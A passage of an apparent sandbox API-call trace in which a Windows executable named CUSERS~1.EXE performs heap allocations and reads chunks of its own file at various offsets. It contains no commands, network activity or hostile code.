lpMem=0x2a8aef0 | out: hHeap=0x2ad0000) returned 1 [0074.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0074.676] GetCurrentThreadId () returned 0x9b0 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb208 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afc0 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81a8 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aef0 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.677] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aef0, Size=0x14) returned 0x2a71940 [0074.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81a8 | out: hHeap=0x2ad0000) returned 1 [0074.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.677] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb6560, Size=0x2b4) returned 0x2cb99a8 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb828 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f920 [0074.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x264) returned 0x2cb9c68 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbb38 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x76d) returned 0x2cb9ed8 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aef0 [0074.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0074.677] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aef0, Size=0x14) returned 0x2a71680 [0074.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8028 | out: hHeap=0x2ad0000) returned 1 [0074.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.678] GetCurrentThreadId () returned 0x9b0 [0074.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c0f858 [0074.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbb38 | out: hHeap=0x2ad0000) returned 1 [0074.678] GetCurrentThreadId () returned 0x9b0 [0074.678] GetCurrentThreadId () returned 0x9b0 [0074.678] GetCurrentThreadId () returned 0x9b0 [0074.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ff88 [0074.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc158 [0074.679] GetCurrentThreadId () returned 0x9b0 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20228 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a0) returned 0x2cba650 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c7a810 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aef0 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aee0 [0074.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0074.679] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aee0, Size=0x14) returned 0x2a71580 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aef0 | out: hHeap=0x2ad0000) returned 1 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbc158 | out: hHeap=0x2ad0000) returned 1 [0074.679] GetCurrentThreadId () returned 0x9b0 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bc5220 | out: hHeap=0x2ad0000) returned 1 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7fc0 | out: hHeap=0x2ad0000) returned 1 [0074.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ce0 | out: hHeap=0x2ad0000) returned 1 [0074.679] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7930 [0074.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0074.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7fc0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7fc0 | out: hHeap=0x2ad0000) returned 1 [0074.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0074.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0074.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.680] GetCurrentThreadId () returned 0x9b0 [0074.681] GetCurrentThreadId () returned 0x9b0 [0074.681] GetCurrentThreadId () returned 0x9b0 [0074.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.681] GetCurrentThreadId () returned 0x9b0 [0074.681] GetCurrentThreadId () returned 0x9b0 [0074.681] GetLastError () returned 0x0 [0074.681] GetLastError () returned 0x0 [0074.681] GetLastError () returned 0x0 [0074.681] GetLastError () returned 0x0 [0074.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af80 [0074.681] GetLastError () returned 0x0 [0074.681] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7f28, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.681] GetFileType (hFile=0x1ec) returned 0x1 [0074.681] GetLastError () returned 0x0 [0074.681] GetCurrentThreadId () returned 0x9b0 [0074.681] GetLastError () returned 0x0 [0074.681] GetFileType (hFile=0x1ec) returned 0x1 [0074.681] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7fa4 | out: lpFileInformation=0x9b7fa4) returned 1 [0074.682] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.682] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.682] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb0, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.682] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.682] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fa8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.682] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.682] GetLastError () returned 0x0 [0074.682] GetCurrentThreadId () returned 0x9b0 [0074.682] GetLastError () returned 0x0 [0074.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0074.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0074.682] GetLastError () returned 0x0 [0074.682] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8590866, lpDistanceToMoveHigh=0x9b8058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8058*=0) returned 0x831612 [0074.682] GetLastError () returned 0x0 [0074.682] GetCurrentThreadId () returned 0x9b0 [0074.682] GetLastError () returned 0x0 [0074.682] GetCurrentThreadId () returned 0x9b0 [0074.682] GetLastError () returned 0x0 [0074.682] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8786766, lpDistanceToMoveHigh=0x9b83f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b83f0*=0) returned 0x86134e [0074.682] GetLastError () returned 0x0 [0074.682] GetCurrentThreadId () returned 0x9b0 [0074.682] GetLastError () returned 0x0 [0074.683] GetCurrentThreadId () returned 0x9b0 [0074.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4b83) returned 0x2cba8f8 [0074.683] GetLastError () returned 0x0 [0074.683] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cba90c, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x9b83b8, lpOverlapped=0x0 | out: lpBuffer=0x2cba90c*, lpNumberOfBytesRead=0x9b83b8*=0x4000, lpOverlapped=0x0) returned 1 [0074.684] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc14c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83a4, lpOverlapped=0x0 | out: lpBuffer=0x2cc14c0*, lpNumberOfBytesRead=0x9b83a4*=0x1000, lpOverlapped=0x0) returned 1 [0074.684] GetLastError () returned 0x0 [0074.684] GetCurrentThreadId () returned 0x9b0 [0074.684] GetLastError () returned 0x0 [0074.684] GetCurrentThreadId () returned 0x9b0 [0074.684] GetLastError () returned 0x0 [0074.685] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b707c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b707c*=0) returned 0x86634e [0074.685] GetLastError () returned 0x0 [0074.685] GetCurrentThreadId () returned 0x9b0 [0074.685] GetLastError () returned 0x0 [0074.685] GetCurrentThreadId () returned 0x9b0 [0074.685] GetLastError () returned 0x0 [0074.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc14c0 | out: hHeap=0x2ad0000) returned 1 [0074.685] CloseHandle (hObject=0x1ec) returned 1 [0074.685] GetLastError () returned 0x0 [0074.685] GetCurrentThreadId () returned 0x9b0 [0074.685] GetLastError () returned 0x0 [0074.686] GetLastError () returned 0x0 [0074.686] GetCurrentThreadId () returned 0x9b0 [0074.686] GetLastError () returned 0x0 [0074.687] GetLastError () returned 0x0 [0074.687] GetCurrentThreadId () returned 0x9b0 [0074.687] GetLastError () returned 0x0 [0074.688] GetLastError () returned 0x0 [0074.688] GetCurrentThreadId () returned 0x9b0 [0074.688] GetLastError () returned 0x0 [0074.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3020048 | out: hHeap=0x2ad0000) returned 1 [0074.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ccf490 | out: hHeap=0x2ad0000) returned 1 [0074.688] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3030070, Size=0xbf59) returned 0x3030070 [0074.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cba8f8 | out: hHeap=0x2ad0000) returned 1 [0074.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4f4) returned 0x2cba8f8 [0074.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3d0) returned 0x2bc5220 [0074.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.688] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7ff8, Size=0x20) returned 0x2a1fbf0 [0074.688] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18e60 [0074.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60000) returned 0x303bfd8 [0074.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b958 | out: hHeap=0x2ad0000) returned 1 [0074.696] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19658 [0074.696] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac0910 [0074.696] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0910, Size=0xb8) returned 0x2ac9ad0 [0074.696] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9ad0, Size=0xe8) returned 0x2c37b68 [0074.696] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37b68, Size=0x120) returned 0x2cb6750 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6750, Size=0x160) returned 0x2cb6c08 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6c08, Size=0x1a8) returned 0x2cb8340 [0074.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2fb) returned 0x2c79ef8 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8340, Size=0x1f8) returned 0x2c315e0 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c315e0, Size=0x250) returned 0x2ac3fc0 [0074.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x352) returned 0x2cbadf8 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3fc0, Size=0x2b4) returned 0x2c2b948 [0074.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x35b) returned 0x2cbb158 [0074.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21a) returned 0x2bb6560 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b948, Size=0x324) returned 0x2bab928 [0074.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3b9) returned 0x2cbb4c0 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab928, Size=0x3a4) returned 0x2cbb888 [0074.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbb888, Size=0x434) returned 0x2cbb888 [0074.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbb888, Size=0x4d4) returned 0x2cbb888 [0074.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x226) returned 0x2cbbd68 [0074.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbb888, Size=0x588) returned 0x2cbbf98 [0074.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbbf98, Size=0x654) returned 0x2cbbf98 [0074.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x320) returned 0x2cbb888 [0074.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x2cbc5f8 [0074.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbbf98, Size=0x738) returned 0x2cbc818 [0074.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x205) returned 0x2cbbf98 [0074.699] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbc818, Size=0x838) returned 0x2cbc818 [0074.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3030070 | out: hHeap=0x2ad0000) returned 1 [0074.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0074.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb828 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0074.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7700 [0074.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7700 | out: hHeap=0x2ad0000) returned 1 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0074.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0074.699] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0074.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7a48 [0074.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7d90 [0074.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0074.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetCurrentThreadId () returned 0x9b0 [0074.700] GetLastError () returned 0x0 [0074.701] GetLastError () returned 0x0 [0074.701] GetLastError () returned 0x0 [0074.701] GetLastError () returned 0x0 [0074.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af10 [0074.701] GetLastError () returned 0x0 [0074.701] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b78d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.701] GetFileType (hFile=0x1ec) returned 0x1 [0074.701] GetLastError () returned 0x0 [0074.701] GetCurrentThreadId () returned 0x9b0 [0074.701] GetLastError () returned 0x0 [0074.701] GetFileType (hFile=0x1ec) returned 0x1 [0074.701] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7954 | out: lpFileInformation=0x9b7954) returned 1 [0074.701] FileTimeToLocalFileTime (in: lpFileTime=0x9b7968, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.701] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.701] FileTimeToLocalFileTime (in: lpFileTime=0x9b7960, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.701] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.701] FileTimeToLocalFileTime (in: lpFileTime=0x9b7958, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.701] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.701] GetLastError () returned 0x0 [0074.702] GetCurrentThreadId () returned 0x9b0 [0074.702] GetLastError () returned 0x0 [0074.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0074.702] GetLastError () returned 0x0 [0074.702] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8806076, lpDistanceToMoveHigh=0x9b7a08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7a08*=0) returned 0x865ebc [0074.702] GetLastError () returned 0x0 [0074.702] GetCurrentThreadId () returned 0x9b0 [0074.702] GetLastError () returned 0x0 [0074.702] GetCurrentThreadId () returned 0x9b0 [0074.702] GetLastError () returned 0x0 [0074.702] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8823656, lpDistanceToMoveHigh=0x9b7da0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7da0*=0) returned 0x86a368 [0074.702] GetLastError () returned 0x0 [0074.702] GetCurrentThreadId () returned 0x9b0 [0074.702] GetLastError () returned 0x0 [0074.702] GetCurrentThreadId () returned 0x9b0 [0074.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1845) returned 0x2cbc818 [0074.702] GetLastError () returned 0x0 [0074.702] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cbc82c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7d68, lpOverlapped=0x0 | out: lpBuffer=0x2cbc82c*, lpNumberOfBytesRead=0x9b7d68*=0x1000, lpOverlapped=0x0) returned 1 [0074.703] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7d54, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9b7d54*=0x1000, lpOverlapped=0x0) returned 1 [0074.703] GetLastError () returned 0x0 [0074.703] GetCurrentThreadId () returned 0x9b0 [0074.703] GetLastError () returned 0x0 [0074.703] GetCurrentThreadId () returned 0x9b0 [0074.703] GetLastError () returned 0x0 [0074.703] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b6a2c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b6a2c*=0) returned 0x86c368 [0074.703] GetLastError () returned 0x0 [0074.703] GetCurrentThreadId () returned 0x9b0 [0074.703] GetLastError () returned 0x0 [0074.703] GetLastError () returned 0x0 [0074.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc34d0 | out: hHeap=0x2ad0000) returned 1 [0074.703] CloseHandle (hObject=0x1ec) returned 1 [0074.703] GetLastError () returned 